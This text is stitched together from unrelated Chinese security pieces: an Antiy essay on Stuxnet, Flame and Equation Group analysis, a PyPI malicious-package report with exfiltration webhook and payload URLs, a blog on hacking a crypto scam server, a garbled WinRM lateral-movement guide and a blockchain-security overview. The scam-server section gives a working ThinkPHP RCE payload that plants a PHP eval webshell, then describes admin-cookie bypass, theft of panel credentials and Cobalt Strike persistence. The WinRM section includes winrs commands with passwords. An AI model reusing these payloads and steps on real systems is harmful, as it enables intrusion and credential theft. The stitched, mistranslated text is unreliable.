第一個接力高峰期,2010年由“震網”事件所觸發,並沿著“火焰”“毒曲”“高斯”等複雜的惡意代碼展開。 SentinelOne的時間線開始就選錯了起點,包括中國網絡安全工作者在內的國際網安業界分析工作起跑於2010年,我們的工作和國際業內同仁是基本同步啟動的,而不是2012年。 2010年7月13日國際網絡安全企業最早曝光相關消息後,我們在7月15日依托設定的關鍵字符串守候到了樣本,並著手搭建“震網”的模擬分析環境,開始模擬分析相關機理。

2-1.jpg

圖2‑1安天搭建的“震網”簡易模擬分析沙盤(2010.7)

針對“震網”的接力分析,是由很多複雜而瑣碎的工作組成的。例如幾乎所有參與分析的機構,都在其中找到了感染USB設備的擺渡感染代碼。但多數沒有成功觸發復現USB擺渡行為。安天的分析貢獻之一是對其擺渡的關鍵機理進行了深入分析,指出了其擺渡傳播的控制條件,從而解釋了其與其他蠕蟲差異明顯的受控傳播特性。在2010年10月11日的《对Stuxnet的后续分析》 [2]中,我們解讀了:

Stuxnet是否感染到U盤,取決於配置數據中的多個域,包括:

马云惹不起马云偏移0x6c、0x70、0xc8處的標記位;

马云惹不起马云偏移0x78、0x7c處的時間戳;

马云惹不起马云偏移0x80、0x84處的數值。

只有當每個域對應的條件都滿足時,才會感染U盤。其中,偏移0xc8處的位默認設置為不感染。

2-2.png

圖2‑2“震網”文件釋放結構和USB傳播邏輯圖(2010.10)

但我們對當時的分析精細度並不滿意,在九年後的“震網”事件最終報告[3]中,我們對完整的標誌位做了更新:

2-3.png

圖2‑3震網擺渡配置內容解析(2019.9)

2010年面對如此復雜的攻擊時,我們承認自己匱乏資源與經驗,作為從病毒分析組轉型的應急分析團隊,我們太習慣於代碼功能逆向的視角,而並未將其所使用的多個0day漏洞進行逐一驗證,也就留下了一個嚴重的分析錯誤,把針對Windows打印後台程序漏洞的利用當作了對打印機的攻擊,還留下瞭如下帶有錯誤的圖示。這也間接導致了多份國內外的文獻由於引用了我們的圖示而產生關聯錯誤。

2-4.png

圖2‑4 Stuxnet蠕蟲突破物理隔離環境的傳播方式的錯誤圖示(2010.9)

儘管對“震網”事件的深入分析了解是全球所有APT分析研究者的基本功,但我們篤定的是:SentinelOne不會比我們更了解“震網”,因為如果他們分析過樣本,恐怕就不會不知道“震網”會提取主機信息並追加於Payload尾部。顯然,基於我們樣本庫中大量的“震網”樣本對主機信息的還原,會提取出大量中國計算機被感染的證據。而這恰恰就是SentinelOne報告所說的實證。

2-5.png

圖2‑5安天基於樣本提煉整理的感染中國計算機節點的部分數據

當美方領導人和政府人士不僅在多次場合中暗示承認“震網”與其情報機構的關係,甚至明顯以此作為擁有強大網絡攻擊威懾的一種宣示時,對事件的分析就已經不能停留在樣本分析和技術實證層面,而必須更深入的判斷打開信息戰“潘多拉魔盒”的影響。在對“震網”的分析中,安天量化對比了“震網”事件與二十年前的凋零利刃與巴比倫行動,明確提出“震網”的災難性里程碑意義,在於其證明了網絡攻擊能達成傳統作戰行動的局部等效性。

表2‑1兩次針對主權國家核計劃所採用的軍事行動與準軍事行動的對比分析(2015)

凋謝利刃與巴比倫行動(傳統作戰行動)

震網行動(網絡戰行動)

發起攻擊者

以色列、伊朗、美國

美國、以色列

被攻擊目標

伊拉克核反應堆

伊朗鈾離心設施

時間週期

1977-1981年

2006-2010年

人員投入

以色列空軍、特工人員、伊朗空軍、美國空軍和情報機構

美、以情報和軍情領域的軟件和網絡專家,工業控制和核武器的專家

產出

多輪前期偵查和空襲,核反應堆情報

戰場預製、病毒的傳播和伊朗核設施情報

各方裝備投入

伊:2架F-4鬼怪式以12枚MK82減速炸彈-轟炸核反應堆假設工地;10架F-4襲擊伊拉克H-3空軍基地。

以:2架F-4E(S)-偵查任務;8架F-16A(美方提供)、4架F-15A、2架F-15B、16枚MK84炸彈-空襲反應堆

模擬搭建反應堆

特工人員暗殺伊拉克關鍵人員

美方:戰略衛星和情報、空中加油機

震網病毒

模擬搭建離心機和控制體系

效費比

打擊快速,準備期長,耗資巨大,消耗大,行動複雜,風險高

週期長,耗資相對軍事打擊低,但更加精準、隱蔽,不確定性後果更低

訓練成本

18個月模擬空襲訓練,2架F-4鬼怪攻擊墜毀,3名飛行員陣亡

跨越兩位總統任期,經歷了5年的持續開發和改進

消耗

人力、軍力、財力、裝備力、情報

人力、財力、情報

毀傷效果

反應堆被炸毀,嚇阻了法國供應商,伊拉克核武器計劃永久遲滯

導致1000台至2000台離心機癱瘓,鈾無法滿足武器要求,幾乎永久性遲滯了伊朗核武器計劃

在“震網”之後,全球網絡安全業界陸續發現了“毒曲”“火焰”“高斯”並發布報告,並陸續證明它們與“震網”的相關性。在面對“火焰”時,卡巴斯基指出,其攻擊是當時發現的最為複雜的攻擊之一,要對其完全分析清楚可能要耗費數年時間。我們意識到國際安全企業和從業者需要進行分工協同,我們嘗試開啟了一段馬拉松式的分析賽跑,嘗試完成更多的工作,對“火焰”主樣本進行了分析[4],並提取了子模塊清單,對其中重點模塊進行了分析。從目前的公開資料檢索看,在業內完成“火焰”的分析成果中,安天在模塊層面的分析貢獻佔比是最高的。

2-6.png

圖2‑6“火焰”病毒主模塊與子模塊啟動加載順序(2012.5)

我們對“毒曲”和“震網”的同源分析報告晚於國際廠商[5],這的確是一個事實。 “震網”“火焰”“毒曲”“高斯”系列存在同源關聯是當時參與這些樣本深度分析的各廠商的共同的猜測與判斷。卡巴斯基的工作最為敏捷和堅決,而我們則沒有把找到的相似點在第一時間沉澱為公開的分析成果,但如果比較這兩份同源分析,其實也可以看到:安天所提供的同源點大部分與卡巴斯基並不相同,將分析成果疊加起來可以為APT樣本體系間的同源性到代碼復用佔比分析提供更完整的線索和依據。

2-7.png

圖2‑7 安天公佈的震網、毒曲同源關鍵代碼基因對比(2012.5)

APT分析是一個社會協同過程,其中有大量的疑問是需要長時間的分析積累、關聯回溯才能解決的,“震網”就是一個例子。例如在非常長的時間內都沒有組織機構正式解答:作為高度定向的攻擊所使用的樣本,且大版本只有兩個,總模塊數只有數十個,但為什麼其樣本數量多達數千個,包括為什麼在技術驗證中,USB擺渡開關是默認關閉的,卻能形成一條從中東到東南亞並滲透到中國的感染擴散鏈。我們在《震网事件的九年再复盘与思考》 [3]對上述問題進行了分析解答,儘管這個解答遲來了九年,但這是中國網絡安全工程師的獨創內容。相比之下,急功近利的組織機構和研究者很難取得深度和系統的成果。

同樣的,我們以軟件工程的視角,梳理“震網”“火焰”“高斯”“毒曲”之間的代碼復用關係,並輸出了一個完整的圖譜:2-8.png

圖2‑8 安天發布Stuxnet和Duqu、Flame、Fanny、Flowershop關係圖(2019.9)

既與時間賽跑,又在時間面前保持定力;既尊重他人的分析成果,又有自己的獨創貢獻,這就是中國網絡安全工作者在這場接力中扮演的角色。

3.破解斯芬克斯之謎A2PT組織攻擊裝備的重要特點是惡意代碼和漏洞利用工具攻擊武器幾乎覆蓋所有平台與場景。把這個全貌完整繪製出來,成為全球優秀的網絡安全研究機構攜手共同努力才能破解的斯芬克斯之謎。

在2013年之後,針對“方程式組織”(NSA下屬的TAO團隊)的分析協同就是一次集體解謎歷險。 “方程式組織”的新攻擊活動與此前“震網”“火焰”系列攻擊至關重要的差異是,“震網”是面向隔離網絡的攻擊作業,所以Payload必須包含所有的功能模塊組件,這就便於完整的關聯分析。

而新的攻擊波次主要是依托互聯網側的高度模塊化,針對場景按需投放。由於各國的IT基礎環境、各安全企業服務的客戶場景都有很大不同,任何一家網絡安全廠商都不可能在短時內完整捕獲其各平台樣本和各種功能模塊。如果說我們看到“震網”“火焰”“毒曲”“高斯”是依靠同源線索關聯所形成的分析接力的研究,那麼對“方程式組織”的分析實際上就是依靠自身的感知捕獲能力,逐個解開其在各個平台上的免殺,直到最終完整解開它全平台覆蓋能力。每一個平台捕獲、分析、拼接到最終曝光,都走過了很長的過程。其中我們將iOS樣本的曝光,與我們正式捕獲完成分析的時間,已經相隔了8年。我們依靠自身的捕獲能力,先後捕獲了其Windows、Solaris、Linux、iOS平台的攻擊樣本,破解了樣本加密機制。和國際產業界協同完成了其全操作系統平台覆蓋能力的分析,並最終使其完整曝光。

3-1.png

圖3‑1全球網絡安全廠商披露的方程式組織平台覆蓋能力

2015年初,卡巴斯基率先開始公佈了方程式組織對硬盤固件的攻擊能力,安天跟進公佈了分析報告[6],針對攻擊組件結構、通信指令代碼和控制結構提供了有價值的成果。

3-2.png

圖3‑2 安天公佈的捕獲的C2和通信密鑰(2015.3)

安天該報告中還對硬盤固件寫入模塊進行了分析和過程研究,並在當時對可能被持久化主機硬盤進行了固件提取比對分析。

3-3.png

圖3‑3 安天分析硬盤固件升級流程(2015.3)

我們在2013年對“方程式”組織的捕獲分析中,就監測發現大量回連攻擊者C2的機器,確定國內存在被攻擊目標。

3-4.png

圖3‑4國內回連方程式組織C2監測流量

2015年5月,安天發布報告,公開了“方程式”組織內置的數據加密和網絡通信加密算法,公佈了解密密鑰和解密算法[7]。

3-5.png

圖3‑5方程式組織通信加解密算法分析(2015.4)

2016年,安天的報告首度曝光了“方程式”組織針對Linux系統和SPARC架構的Solaris系統的攻擊樣本[8],分析了樣本的主要功能、通信模式和指令特點。與卡巴斯基等廠商報告疊加,構成了A2PT攻擊組織的全平台惡意代碼能力圖譜。

3-6.png

圖3‑6方程式攻擊組織多平台操作系統覆蓋能力(2016.11)

2023年,安天曝光了“方程式”組織針對iOS的樣本[9],報告與卡巴斯基報告“三角測量行動”互動,分別曝光了美方通過“量子”系統劫持投放和基於手機iMessage服務漏洞投放攻擊iOS手機的攻擊方式。安天在報告中還發布了“量子”系統的攻擊能力圖譜和美方支撐攻擊系統運行的關係圖譜。

3-7.png

圖3‑7 “量子”系統可攻擊場景圖譜化分析(2023.6)

顯然,SentinelOne報告的編寫者可能沒有認真閱讀過中國企業發布的任何一篇APT分析報告,其研究習慣是:依托各安全機構報告的發佈時間來進行關聯推理,他們並未意識到(或者不願意正視)在每一次的連鎖接力中,中國網絡安全廠商與其他國家同行所發布的是不同的成果;而且顯然,他們缺乏深入分析APT事件的經驗和形成重量級分析報告的能力,從而意識不到中國廠商能夠在其他國際同行發布分析成果後迅速跟進、發布具有相關性的成果,其實是由於這些報告的主體部分早已形成,只是在等待發布的時機。我們篤定:對於2023年6月1日卡巴斯基所發布的“三角測量”行動報告和安天在6月9日所發布的“量子系統擊穿蘋果手機”報告,他們沒有讀懂。

因為很顯然,除了目標都是iOS之外,卡巴斯基和安天講述的是兩組完全不同的攻擊活動。卡巴斯基所曝光的攻擊是基於iMessage投放的,而安天曝光的攻擊是基於“量子”系統通過流量劫持投放的。在2023年6月1日發布報告時,卡巴斯基還沒有展開樣本分析,進行的是攻擊流量和行為分析(卡巴斯基真正的樣本分析成果發佈於2023年12月),而安天曝光的是一個早期捕獲的iOS樣本的儲備報告。這是兩組獨立的分析成果,我們只是為國際同行打了一個助攻而已。

4.攔截失控的分身帶給全球網絡安全工作者巨大壓力和乾擾的,並不只是A2PT攻擊本身。如果從事件的數量、攻擊的範圍這種統計學指標來看,美方對網絡軍備擴散的縱容和網絡軍火管理失控導致的網絡黑產與犯罪給全球帶來了更大的麻煩。

2015年,我們發現一例針對中國某機構的APT攻擊事件[10]。從最開始捕獲的加密數據包,到後來發現其利用註冊表數據塊完成的持久化,我們都以為這是一起A2PT組織發起的攻擊,但直到將其導入到安天賽博超腦平台進行同源性比對後才發現:這是由美國企業發布的自動化攻擊測試平台Cobalt Strike生成的攻擊載荷,被利用來對我們發動攻擊。

4-1.png

圖4‑1樣本模塊與Beacon生成模塊的對比分析圖(2015.5)

4-2.png

圖4‑2對Cobalt Strike創始人軍事背景的分析(2015.5)

安天在報告中指出“網絡空間已經存在嚴峻的網絡軍備擴散風險,超級大國能否合理控制自身網絡軍備發展的速度和規模,並對因自身未有效履行責任而使網絡領域發生可能的軍備擴散,進行有效的干預和控制,是我們能否達成一個更安全的網絡世界的關鍵因素。”

結果一語成讖。時隔兩年,美方便帶給全球一次更大的麻煩,因美方的影子經紀人洩露事件導致使用“永恆之藍”漏洞的WannaCry蠕蟲事件,該蠕蟲僅利用美國NSA“網絡軍火”中的“永恆之藍”(Eternalblue)漏洞,就製造了一場遍及全球的巨大網絡災難。

儘管我們在2016年的網絡安全威脅年報[11]中,對勒索病毒有可能和蠕蟲合流的趨勢做了預判,但我們並沒有想到幾個月後就以如此迅猛的方式表現。儘管如此,在針對WannaCry的溯源判斷上,我們還是堅持了中國網絡安全工作者的客觀和嚴謹。雖然其使用的高級漏洞利用工具毫無疑問的來自美方的武器洩露,我們依然依靠WannaCry的歷史樣本同源等多組線索,向中國網絡安全應急組織給出了我們對於WannaCry的來源判斷,以及其並非由美方開發的結論。但這一結論並不意味著,包括中國用戶在內的WannaCry受害者不需要追究美方網絡軍備失控的責任,包

概述上週(2024年3月6號),懸鏡供應鏈安全情報中心在Pypi官方倉庫(https://pypi.org/)中捕獲1起新的Py包投毒事件,Python組件tohoku-tus-iot-automation從3月6號開始連續發布6個不同版本惡意包,其中多個版本惡意代碼使用PyArmor進行加密混淆保護,這些惡意包主要針對Windows平台的Python開發者,除了會竊取系統基礎信息和主流瀏覽器(Edge、Chrome)用戶密碼數據,還會遠程下載木馬程序植入到開發者係統中盜取系統密碼。

图片

python惡意組件

截至目前,惡意組件tohoku-tus-iot-automation在Pypi官方倉庫上已被下載461次。图片

图片

tohoku-tus-iot-automation惡意組件下載量

該惡意組件包在國內主流Pypi鏡像源(清華大學、騰訊雲等)仍可正常下載、安裝該惡意包,因此潛在的受害者數量將會更多。

图片

以國內清華大學鏡像源為例,可通過以下命令測試安裝該惡意組件包。

pip3Installtohoku-tus-iot-automation-ihttps://pypi.tuna.tsinghua.edu.cn/simple 图片

投毒分析當Python開發者使用pip install從Pypi官方倉庫或下游鏡像源直接安裝或者依賴引用惡意組件包時,將自動觸發執行組件包setup.py中的惡意攻擊代碼。 setup.py被PyArmor加密混淆保護。

图片

原始的惡意代碼如下所示:

图片

惡意代碼主要包括4大攻擊步驟:

收集系統信息

收集瀏覽器用戶密碼

遠程下載執行竊密木馬

數據盜取外傳

Part1收集系統信息主要收集操作系統版本、處理器、網卡及IP數據、主機名、系統用戶列表、系統進程列表等敏感信息。

图片

系統信息收集功能

Part2收集瀏覽器用戶密碼從存儲瀏覽器(Edge、Chrome)用戶數據的SQLite3數據庫文件中提取用戶密碼。

图片

瀏覽器用戶密碼收集功能

Part3遠程下載執行竊密木馬惡意組件將從遠程下載多個具有竊密功能的木馬後門程序植入到受害者係統中,用於收集Discord賬戶數據以及Windows系統密碼。

盜取Discord數據的木馬程序被偽裝成png圖片隱藏在代碼託管平台SourceForge上。

https://sourceforge.net/projects/iot-automate/files/iotautomatelogo.png 图片

图片

Discord竊密木馬

盜取Windows系統密碼主要由3個木馬後門程序(k7841286.exe、k7841286.dll和readings.exe)負責。

图片

遠程下載執行竊密木馬後門

通過程序逆向可知,k7841286.exe負責加載k7841286.dll,k7841286.dll負責啟動真正具備系統密碼盜取能力的木馬程序readings.exe。

图片

k7841286.dll啟動竊密木馬readings.exereadings.exe被多款殺毒引擎識別為gsecdump竊密木馬,主要功能是盜取Windows系統密碼。

图片

Windows gsecdump竊密密碼

Part4數據盜取外傳在收集到系統信息、瀏覽器密碼、Discord賬戶數據、Windows系統密碼等敏感信息後,投毒者會將所有數據打包外傳到Webhook接口。

https://discordapp.com/api/webhooks/1214145679094448168/vyrtZquc2ia5h7R3FtLno2_s7Lhz1MpBoUL-FA0YM4FhHu-vNxuQ2LJoET6kYW_GQ5fo 图片

Webhook數據外傳功能

Part5IoC數據此次投毒組件包涉及的惡意文件和IoC數據如下所示:

图片

排查方式截至目前,該Python惡意組件包仍可從國內主流Pypi鏡像源正常下載安裝,國內Python開發者可根據惡意包信息和IoC數據通過以下方式進行快速排查是否安裝或引用惡意組件包。

開發者可通過命令pip show tohoku-tus-iot-automation快速排查是否誤安裝或引用該惡意py組件包,若命令運行結果如下圖所示,則代表系統已被安裝該惡意組件,請盡快通過命令pip uninstall tohoku-tus-iot-automation -y進行卸載,同時還需關閉系統網絡並排查系統是否存在異常進程。

此外,開發者也可使用OpenSCA-cli,將受影響的組件包按如下示例保存為db.json文件(可參考總結中提到的組件包信息按格式增減),直接執行掃描命令(opensca-cli -db db.json -path ${project_path}),即可快速獲知您的項目是否受到投毒包影響。

image.png

懸鏡供應鏈安全情報中心是國內首個數字供應鏈安全情報研究中心,依托懸鏡安全團隊強大的供應鏈SBOM管理與監測能力和AI安全大數據云端分析能力,對全球數字供應鏈安全漏洞、投毒事件、組件風險等進行實時動態監測與溯源分析,為用戶智能精準預警“與我有關”的數字供應鏈安全情報。

最近偶然发现一个虚拟货币买涨跌的杀猪盘,遂进行了一波测试,前台长这样。

图片

为thinkphp5.0.5随用RCE进行打入,成功写入webshell。

s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))

查看发现phpinfo信息发现已经禁用所有能够执行系统命令的函数,且com和dl加载都不能用无法执行相应的系统命令如下所示:

图片

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
//php如上系统命令都已禁用

但有文件的读写权限没有禁用assert(),file_put_contents()等函数,查看后发现为windows系统如下所示:


图片


由于php执行系统命令的函数都被禁用了,从而导致无法执行系统命令很难受。之后下载了他的网站源码简单看了一波,发现其管理员cookie固定且可以伪造如下所示看着像后门:

图片


故可后台登录绕过,管理员cookie固定,添加cookie字段即可登录绕过。浏览器f12,在cookie中添加上述键值访问index,即可成功后台登录如下所示好多钱(被骗的人好多):

图片

前台询问客服了解到转账账户(该杀猪盘运作方式是用户将钱打入客服提供的账号后,用户再在自己的账号冲入相应数值的资金至后台审核,审核后即可使用该数值的钱进行货币的涨跌投资买卖交易),留作证据上交:

图片


由于之前一直无法执行系统命令,想要突破一下就开始翻他服务器上的文件,翻阅系统文件发现存在宝塔的文件夹,探测发现确实开放8888端口存在宝塔服务但默认登录入口已被修改,如下所示:

图片


翻阅宝塔文件发现存储路径的文件名admin_path.pl,如下所示:

图片

找到宝塔登录入口,成功访问该登录入口,如下所示:

图片


继续翻阅发现一个default.pl的文件,该文件中存放的是相应的登录密码:

图片


拿到密码尝试了默认用户名发现不对不能登录,继续翻文件default.db文件是记录登录记录的,找到登录账号:

图片

利用账号密码成功登录宝塔管理后台,如下所示:利用账号密码成功登录宝塔管理后台,如下所示:

图片


找到定时任务处修改计划任务执行cs上线马,上线后在将计划任务改回如下所示:


图片

cs成功上线如下所示:

图片

查看ip仅有公网地址无内网,同C段还有其他几台部署的都是同一套东西就不在往下搞了:

图片

总的就这样,没啥东西比较无味




转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486570&idx=1&sn=0c20fbbf4adbeb5b555164438b3197f7&chksm=ce67a6f3f9102fe51b76482cd7d6bb644631ae469d8c1802956034077137ecd49ea56c8d2b1f&scene=21#wechat_redirect

https://xz.aliyun.com/t/8224

基于WINRM的水平运动

WinRM介绍

WINRM(Windows Remote Management)是Microsoft的实现WS-Management协议,WS-Management协议是一种基于标准的简单对象访问协议(SOAP)的防火墙友好型协议,该协议允许来自不同供应商的硬件和操作系统可互操作。 Windows远程执行命令的众多方法之一。

作为DCOM和WMI远程管理的替代方案,WinRM用于通过WSMAN与远程计算机建立会话,WSMAN使用HTTP/S作为传输机制来传递XML-Format消息。在现代Windows系统中,WINRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986通信。

WinRM本地支持NTLM和Kerberos(域)身份验证。初始身份验证后,使用AES加密(Microsoft Docs)保护WinRM会话。

注意:必须配置WINRM服务并运行以接受远程连接。 WinRM接受连接可能需要多个步骤。有关更多信息,请参阅此Pentest Lab文章。

Winrm横向运动适用于工作组和域环境。

用户条件

交流的双方都需要启用WinRM服务

WINR适用于Win Server 2008/Win7和后来的系统,但是Win Server 2008/PC完整版系统默认情况下关闭。

WinRM 2012之后的WinRM Service的版本启动并默认为端口5985,从而允许远程任意主机进行管理。

WINRM状态查询

12345678PS C: \ USER \ Administrator Get -WmiObject -Class Win32_Service | Where-Object {$_.name -like 'WinRM'} ExitCode : 1077Name : WinRMProcessId : 0StartMode : ManualState : StoppedStatus : OK to enable one of the following commands

12winrm QuickConfig -Q #Q#Q#在运行此命令后,将自动添加防火墙异常规则,并发布端口5985。再次启用psremoting -force查询

12345678PS C: \ USER \ Administrator Get -WmiObject -Class Win32_Service | where-object {$ _。名称-like'winrm'} exitCode : 0name : winrmprocessid : 1128StartMode : AutoState : RunningStatus : OK

服务器防火墙允许WINRM服务端口通信

ok

WinRM通信两端的可配置性要求

Default IS 5986; 5986; 5986;如果5985启动但5986关闭,则WINRM服务被配置为仅接受HTTP连接。要修改默认端口,您可以使用以下内容:

1winrm设置winrm/config/侦听器?地址=*+transper=http @{port='80'}

远程管理

1)检查WinRM的特定配置

1winrm get winrm/config2)允许所有客户端IP连接

12winrm设置winrm/config/client @{trustedhost='*'} winrm e winrm/config/linterer #view听力地址和端口

远程命令执行

您在连接远程连接时可能会遇到以下错误

123winrs error:winrm客户端无法处理请求。默认身份验证可以与以下条件下的IP地址结合使用:传输https,或者目的地在TrustedHosts列表中,并提供明确的凭据。使用winrm.cmd配置TrustedHosts。请注意,TrustedHosts列表中的计算机可能未经身份验证。有关如何设置TrustedHosts的更多信息,请运行以下命令: WINRM帮助配置。 winrs error:winrm客户端无法处理请求。如果身份验证方案与Kerberos不同,或者未连接到域的客户端计算机,则必须使用HTTPS传输,否则必须将目标计算机添加到TrustedHosts配置设置中。使用winrm.cmd配置TrustedHosts。请注意,TrustedHosts列表中的计算机可能未经身份验证。可以通过运行以下命令: WINRM帮助配置来获得有关此内容的更多信息。在攻击机上执行以下命令,将其设置为信任所有主机,然后连接

12345678910111213141516C:\Users\Administratorwinrm set winrm/config/Client @{TrustedHosts='*'} Client NetworkDelayms=5000 URLPrefix=wsman AllowUnencrypted=false Auth Basic=true Digest=true Kerberos=true Negotiate=true Certificate=true CredSSP=false DefaultPorts http=5985 https=5986 TrustedHost=*

获取交互式外壳

12C: \ USESS \ USESER \ indercandatorWinrs -R:192.168.86.114 -U33333333333333333333333333332.168.86.114.114! whoamiwin -win7 \管理员

使用工具

12345678911111213141516171920C3333: \ USERS \ ascristaratorWinrs -R3:192.168.86.86.114 -U3333:192.192.192.1192.1162.1146.114 \ \ \ \ f. -3360123456!@#$%cmdmicrosoft Windows [版本6.1.7601]保留所有权利(C)2009 Microsoft Corporation。版权所有。 C: \ Users \ aDministoratorIpConfigWindows IP配置以太网适配器本地连接:连接到特定的DNS后缀。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。

https://github.com/bohops/wsman-winrm

WSMAN-WINRM

模块功能

目标端口

目标系统

用法教程

Winrm爆炸

港口5985/5986

视窗

http://K8GE.org/ladon/winrmscan.html

winrmexec

5985

视窗

http://K8GE.org/ladon/winrmexec.html

拉登

其他实用程序

如果目标打开WinRM,则可以使用Peekaboo工具启用目标3389

打开远程主机3389

即使端口是Web服务,它也不会影响Web服务。使用如下

1)配置目标winrm服务,更改听力端口以启用重复使用

12winrm设置winrm/config/listorer?地址=*+transport=http @{port='80'} winrm set winrm/config/config/service @{enableCompatibalizyhtttplistener='true'} 2)链接目标

1Winrs -R:192.168.86.114 -U:192.168.86.114 \ Administrator -:123456!@$%whoami此方法适用于Web Services的机器。它不会打开新端口。它与添加隐藏的管理员用户合作,这是非常隐藏的。

端口多路复用后门

http://T3NGYU.leanote.com/post/lm-winrm-winrs

https://bohops.com/2020/05/12/ws-management-com-another-apphach-for-winrm-lateral-movement/

https://xz.aliyun.com/t/6888

https://www.cnblogs.com/mo-/p/12019314.html

區塊鏈不再是炒作;它是一種廣泛且可靠的財務和數據管理技術。許多組織投資區塊鏈,使用它們來存儲和共享數據,並在其業務流程中實施它們。但區塊鏈也吸引了網絡犯罪分子的大量關注,他們的目標是敏感的企業數據和加密資產。

保護區塊鍊網絡免受黑客攻擊需要不斷審核和研究新的漏洞和潛在的攻擊媒介。在本文中,我們概述了關鍵的區塊鏈安全漏洞,探討了常見的攻擊媒介,並分享了我們關於減輕允許這些攻擊的風險的知識。

本文對於正在考慮開發或採用基於區塊鏈的應用程序並正在尋找檢查和確保其安全性的方法的企業非常有用。

為什麼黑客經常攻擊區塊鏈?隨著區塊鏈技術在處理數據和財務方面變得司空見慣,對基於區塊鏈的應用程序和網絡的成功攻擊經常出現在新聞中。讓我們看一下區塊鏈受到攻擊的關鍵原因:

image.png

信息處理不安全。許多企業使用區塊鏈不是為了管理財務和代幣,而是為了存儲數據:健康相關信息、供應鏈記錄、商業秘密,甚至投票詳細信息。如果未加密或以其他方式保護,此類記錄總是會吸引惡意行為者,因為它們可用於惡意活動:在暗網上出售數據、勒索組織、實施欺詐等。

大量且無法追踪的加密貨幣。加密貨幣和交易平台成為投資、資金處理和國際交易的常見工具,使其成為黑客攻擊的目標。 2022 年,黑客從加密相關服務中竊取了超過38 億美元。按照設計,區塊鍊網絡內的交易很難追踪到特定的人,這使得加密貨幣竊賊能夠逍遙法外。

將黑客繩之以法的挑戰。調查區塊鏈攻擊需要面臨許多技術和法律挑戰。區塊鏈交易是匿名且加密的,這意味著調查人員需要大量時間才能將欺詐交易追溯到黑客。此外,攻擊者及其受害者通常生活在不同的國家,並受不同的區塊鏈相關立法(如果有)管轄,這進一步使調查變得複雜。

區塊鏈實施的安全性差。儘管區塊鍊網絡和應用程序如雨後春筍般湧現,但並非所有開發它們的組織都對安全性給予足夠的重視。例如,由於Rab13s 漏洞,超過280 個包含價值250 億美元加密貨幣的網絡面臨遭受攻擊的風險。缺乏保護措施實際上是對網絡犯罪分子的邀請。

修復能力有限。作為去中心化的解決方案,區塊鏈應用程序及其核心邏輯通常由開源代碼管理。如果在該代碼中發現漏洞,每個人都會知道它。此外,修復區塊鏈代碼具有挑戰性,有時甚至是不可能的,因為它一旦發布就不可更改。

缺乏防止攻擊的網絡安全人才。保護區塊鏈應用程序免受攻擊不僅涉及安全設計和實施,還涉及定期安全審核和修復新發現的漏洞。此類工作需要許多組織所不具備的網絡安全專業知識。

儘管區塊鏈在網絡安全中的用例很多,但我們不斷看到成功的區塊鏈攻擊。攻擊次數也逐年增加。跟踪加密貨幣盜竊案的Comparitect 報告稱,2021 年成功發生了136 起加密貨幣盜竊案,2022 年發生了199 起,2023 年1 月至11 月期間發生了220 起。

讓我們來看看2023 年以來針對區塊鏈的幾起毀滅性攻擊:

image.png

歐拉金融遭遇一系列閃貸攻擊,導致超過1.95 億美元被盜。攻擊者濫用了平台協議中的一個漏洞,該漏洞允許他們從Euler 的存款池借錢,而無需抵押資產。歐拉與黑客協商歸還大部分被盜資金,並啟動了對其平台的獨立審計。

Bonq的智能合約遭遇了甲骨文黑客攻擊,攻擊者可以操縱某些加密貨幣的交易價格。由於這次黑客攻擊,Bonq 失去了大部分投資者。他們暫停了被利用協議的使用,但無法追回被盜資金。

Mixin Network損失了價值2 億美元的主網資產。該網絡使用託管在雲中的集中式數據庫。攻擊者破壞了該數據庫並獲得了對主網的未經授權的訪問。被盜資金並未歸還,但Mixin Network 承諾退還用戶損失的50%。

正如您所看到的,即使是擁有數百萬美元的區塊鍊網絡也不夠安全,無法確保保護用戶的財務。讓我們看一下惡意行為者可以利用的關鍵潛在漏洞。

區塊鏈安全威脅的主要來源了解可能的漏洞是保護應用程序安全的第一步。以下是導致常見類型區塊鏈攻擊成為可能的漏洞的主要來源:

image.png

聯網網絡是區塊鏈系統的核心方面之一,它由多個相互通信的節點組成。區塊鏈節點應該可以被其他節點發現、同步並且能夠抵禦攻擊和數據包丟失。底層網絡邏輯由以下各項管理:

一種網絡協議,負責在節點之間傳輸事務和塊。可發現性是該協議的重要組成部分,因為它可能會影響節點接收的數據。

共識協議,決定大多數網絡參與者都同意的網絡當前狀態。

節點之間保護不善的網絡可能會導致攻擊者破壞或修改通信。

密碼學加密算法允許區塊鏈使用公私密鑰對加密消息並驗證簽名。在去中心化平台中實施此類算法消除了第三方頒發私鑰的需要。相反,任何人都可以使用必要的軟件和正確實現加密算法來生成密鑰。

一般來說,密碼學有助於保護區塊鏈交易免遭未經授權的訪問。但如果實施不當,它可能會創建後門並授予惡意行為者訪問權限。

貯存區塊鏈依賴於去中心化存儲來包含用戶和錢包詳細信息以及交易記錄等數據。區塊鏈平台不僅在節點之間同步數據,還檢查每筆交易中使用的輸入是否唯一。當網絡增長到數十萬個區塊時,這可能需要很多時間。為了提高效率,區塊鏈平台使用處理塊和事務的索引器來提供對數據的快速訪問。

建立存儲和設計索引器需要謹慎的方法,因為它可能會引入雙重支出或依賴未經確認的交易等問題。

治理儘管區塊鏈技術具有許多安全優勢,但基於區塊鏈的平台仍然由人管理。通常,所有網絡參與者都成為利益相關者,網絡的任何變化都需要利益相關者達成共識。比特幣經典就是此類網絡的一個例子。公共治理可以保護網絡免受可疑更改和襲擊嘗試的影響,但如果未經大多數節點批准,它也會阻止有意義的改進。

一些區塊鏈平台與鏈上去中心化治理相集成,例如Tezos及其自我修正協議。這種方法使集成改進成為一個順利的過程,並降低了網絡分裂的風險。

應用代碼開發錯誤可能會導致區塊鏈應用程序出現意外行為。如果編程語言使用不當,甚至會導致程序崩潰。考慮到區塊鏈系統的去中心化性質,如果由於特定交易而發生崩潰,則可能會停止所有節點。

如果應用程序存在邏輯錯誤,它將無法處理所有負面的使用場景。例如,函數在處理餘額時可能會正確運行,直到傳遞了不正確的負值。

